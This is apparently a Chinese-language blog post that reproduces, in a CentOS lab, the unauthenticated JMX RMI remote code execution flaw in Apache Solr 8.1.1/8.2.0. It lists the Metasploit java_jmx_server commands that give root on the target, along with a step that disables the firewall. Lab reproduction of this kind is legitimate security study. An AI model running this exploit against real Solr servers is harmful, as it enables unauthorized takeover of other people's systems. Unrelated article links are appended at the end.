Apache Solr应用服务器存在远程代码执行漏洞

1.描述

Apache Solr是一个开源的搜索服务,使用Java语言开发,主要基于HTTP和Apache Lucene实现的。

Solr是一个高性能,采用Java5开发,基于Lucene的全文搜索服务器。Solr是一个独立的企业级搜索应用服务器,很多企业运用solr开源服务。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。它的主要特性包括:高效、灵活的缓存功能,垂直搜索功能,高亮显示搜索结果,通过索引复制来提高可用性,提 供一套强大Data Schema来定义字段,类型和设置文本分析,提供基于Web的管理界面等。

影响版本

  1. Apache Solr8.1.1
  2. Apache Solr8.2.0

环境

  1. 靶机:centos7

  2. 攻击机:kali

  3. 攻击软件:msf

  4. 被攻击环境: Apache Solr8.2.0

漏洞成因

默认的配置文件solr.in.sh的选项ENABLE_REMOTE_JMX_OPTS字段值被设置为”true”,这会启用JMX监视服务并会在公网中监听一个18983的RMI端口,没有任何认证,也就是说在无需身份验证情况下,攻击者结合使用JMX RMI就会造成远程代码攻击。

在开放的端口上,利用 javax.management.loading.MLet的getMBeansFromURL 方法来加载一个远端恶意的 MBean,就可以造成远程代码执行了。 远端的恶意MBean来自于metasploit提供的exploit/multi/misc/java_jmx_server,具体的payload攻击载荷是meterpreter。

环境搭建

  1. 首先在靶机centos中安装Apache Solr8.2.0

wget http://archive.apache.org/dist/lucene/solr/8.2.0/solr-8.2.0.zip

  1. 启动一个solr的样例服务

启动条件:

  1. 需要root权限
  2. 需要java8及以上版本
cd solr-8.2.0/bin
./solr -e dih -force

我们可以看到启动成功了。这里注意如果你的靶机防火墙没关的话,局域网内其他主机访问不了的。所以如果你是要在局域网内其他主机打开这个URL的话请关闭靶机的防火墙,命令如下:

查看防火墙状态:
systemctl status firewalld
关闭防火墙:
sudo systemctl stop firewalld

漏洞利用

我们这次使用的工具就是kali自带的 msfconsole ,进入 msfconsole 输入如下命令:

msfconsole
use exploit/multi/misc/java_jmx_server
show options
set RHOSTS 192.168.33.150 //靶机IP
set RPORT 18983
run

大概就是这样,我们成功获得靶机的root权限,可以看到前面靶机的root文件夹下面有一个漏洞环境的文件夹的。

不得不说 msf 真的!还是不太熟练 msf 的操作,不太熟练 msf 的命令,等下次总结一下 msf 的命令吧!

第一篇开始做漏洞复习按的文章,比较简单哈!,后面大家一起慢慢加油!!


Apache Solr应用服务器存在远程代码执行漏洞👻的更多相关文章

  1. Apache Solr JMX服务远程代码执行漏洞复现

    0x00 漏洞介绍 该漏洞源于默认配置文件solr.in.sh中的ENABLE_REMOTE_JMX_OPTS配置选项存在安全风险. Apache Solr的8.1.1和8.2.0版本的自带配置文件s ...

  2. Apache Solr Velocity模板远程代码执行复现

    0x01漏洞描述 2019年10月31日,国外安全研究员s00py在Github公开了一个Apache Solr Velocity模板注入远程命令执行的poc. 经过研究,发现该0day漏洞真实有效并 ...

  3. Apache Solr Velocity模板远程代码执行

    更多内容,欢迎关注微信公众号:信Yang安全,期待与您相遇. 这里用的docker环境 很简单的 在这里不再介绍 本地搭建好环境然后访问8983端口 网页如下: 查下节点名称 同样名字可以访问http ...

  4. Apache Shiro (Shiro-550)(cve_2016_4437)远程代码执行 - 漏洞复现

    0x00 漏洞原理 Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie.在服务端对rememberMe的cookie值, 先ba ...

  5. Struts 2再曝远程代码执行漏洞S2-037

    导读今年4月份,Apache Stuts 2之上发现的S2-033远程代码执行漏洞,以迅雷不及掩耳之势席卷而来.其利用代码很快就在短时间内迅速传播.而且官方针对这个高危漏洞的修复方案还是无效的. 悲剧 ...

  6. Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现

    Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现  一.     漏洞简介 漏洞编号和级别 CVE编号:CVE-2019-0232,危险级别:高危,CVSS分值:官方 ...

  7. Apache Log4j2远程代码执行漏洞攻击,华为云安全支持检测拦截

    近日,华为云安全团队关注到Apache Log4j2 的远程代码执行最新漏洞.Apache Log4j2是一款业界广泛使用的基于Java的日志工具,该组件使用范围广泛,利用门槛低,漏洞危害极大.华为云 ...

  8. Apache Log4j 远程代码执行漏洞源码级分析

    漏洞的前因后果 漏洞描述 漏洞评级 影响版本 安全建议 本地复现漏洞 本地打印 JVM 基础信息 本地获取服务器的打印信息 log4j 漏洞源码分析 扩展:JNDI 危害是什么? GitHub 项目 ...

  9. Apache Struts 远程代码执行漏洞(CVE-2013-4316)

    漏洞版本: Apache Group Struts < 2.3.15.2 漏洞描述: BUGTRAQ ID: 62587 CVE(CAN) ID: CVE-2013-4316 Struts2 是 ...

随机推荐

  1. Linux系列(3) - ls

    作用 ls:查询目录中内容 格式 ls [选项] [文件或目录] 选项 描述 -a 显示所有文件,包括隐藏文件.隐藏文件是.开头的 -l 显示详细信息:ls -l简写为ll,使用频率很高 -d 查看目 ...

  2. 鸿蒙内核源码分析(事件控制篇) | 任务间多对多的同步方案 | 百篇博客分析OpenHarmony源码 | v30.02

    百篇博客系列篇.本篇为: v30.xx 鸿蒙内核源码分析(事件控制篇) | 任务间多对多的同步方案 | 51.c.h .o 进程通讯相关篇为: v26.xx 鸿蒙内核源码分析(自旋锁篇) | 自旋锁当 ...

  3. 【Golang】三个点(...)用法

    众所周知,Go语言是严格类型语言,而开发的时候又遇到传入参数不定的情况,怎么办? 这里的三个点(-),就给我们编程人员带来很大的灵活性,具体如下 在Golang中,三个点一共会用在四个地方(话说三个点 ...

  4. 简单介绍session,cookie,token以及区别

    Cookie简介 ①.是由服务器发给客户端的特殊信息,以文本的形式存放在客户端 ②.客户端再次请求的时候,会把Cookie回发给服务器 ③.服务器接收到后,会解析Cookie生成与客户端相对应的内容 ...

  5. 全网最新最详细最明白教程之Spring源码搭建,没有之一,超详细

    相关帖子有很多但是都不是最新的Gradle,我在使用Gradle最新版编译的时候简直坑死我了,弄了好久.接下来给大家详细说一下这个安装过程,以及相关的软件版本号. 相关软件.依赖的版本号: Gradl ...

  6. HttpClient遭遇Connection Reset异常,如何正确配置?

    最近工作中使用的HttpClient工具遇到的Connection Reset异常.在客户端和服务端配置不对的时候容易出现问题,下面就是记录一下如何解决这个问题的过程. 出现Connection Re ...

  7. nginx禁止IP访问系统

    server { listen 80 default; server_name _; if ($host ~ "\d+\.\d+\.\d+\.\d") { return 404; ...

  8. CAD_DWG图Web可视化一站式解决方案-唯杰地图-vjmap

    背景 DWG图是AutoCAD是私有格式,只能在CAD软件上编辑查看,如何发布至Web上做数据展示,GIS分析应用开发,一直是业内头疼的事情. 传统的办法采用的解析AutoCAD图形绘制,并封装成Ac ...

  9. DOS命令和快捷键

  10. Bug概述、状态、类型、级别、优先级提交和Bug生命周期管理

    缺陷概述: 1)缺陷(Defect):是指存在于软件之中偏差,可被激活,以静态形式存在于软件内部,相当于Bug. 2)故障(Fault):当缺陷被激活后,软件运⾏中出现的状态,可引起意外情况,若不加处 ...